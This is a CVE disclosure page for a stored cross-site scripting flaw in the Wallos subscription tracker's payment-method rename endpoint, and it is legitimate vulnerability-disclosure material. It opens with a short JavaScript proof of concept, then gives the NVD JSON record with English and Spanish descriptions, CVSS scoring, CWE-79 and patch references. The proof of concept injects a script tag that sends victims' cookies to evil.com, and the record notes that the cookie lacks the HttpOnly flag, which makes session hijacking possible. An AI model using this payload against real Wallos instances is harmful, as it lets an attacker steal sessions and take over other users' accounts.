CVE-2026-33400

// PoC for CVE-2026-33400: Stored XSS in Wallos Payment Method Rename // Attacker needs to be authenticated to perform this action. // Step 1: Inject malicious script via payment method rename fetch('/api/payment-methods', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': 'wallos_login=<SESSION_COOKIE>' // Use attacker's valid session }, body: JSON.stringify({ id: 1, // Target payment method ID name: '<script>fetch(\'https://evil.com/steal?c=\'+document.cookie)</script>' }) }).then(r => console.log('Payload injected')); // Step 2: The stored script executes when any user visits Settings/Subscriptions // The browser sends the victim's cookie to the attacker's server.

{"cve": {"id": "CVE-2026-33400", "sourceIdentifier": "[email protected]", "published": "2026-03-24T18:16:11.310", "lastModified": "2026-03-26T20:39:08.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, a stored cross-site scripting (XSS) vulnerability in the payment method rename endpoint allows any authenticated user to inject arbitrary JavaScript that executes when any user visits the Settings, Subscriptions, or Statistics pages. Combined with the wallos_login authentication cookie lacking the HttpOnly flag, this enables full session hijacking. This issue has been patched in version 4.7.0."}, {"lang": "es", "value": "Wallos es un rastreador de suscripciones personal de código abierto y autoalojable. Antes de la versión 4.7.0, una vulnerabilidad de cross-site scripting (XSS) almacenado en el endpoint de renombrado de método de pago permite a cualquier usuario autenticado inyectar JavaScript arbitrario que se ejecuta cuando cualquier usuario visita las páginas de Configuración, Suscripciones o Estadísticas. Combinado con la cookie de autenticación wallos_login que carece del flag HttpOnly, esto permite el secuestro completo de la sesión. Este problema ha sido parcheado en la versión 4.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wallosapp:wallos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.7.0", "matchCriteriaId": "7376DD5F-C93E-4454-810B-DE04B2DE7032"}]}]}], "references": [{"url": "https://github.com/ellite/Wallos/commit/e87387f0ebb540cd33e6dfda7181db9db650ecef", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellite/Wallos/security/advisories/GHSA-p6v5-227f-f3fv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}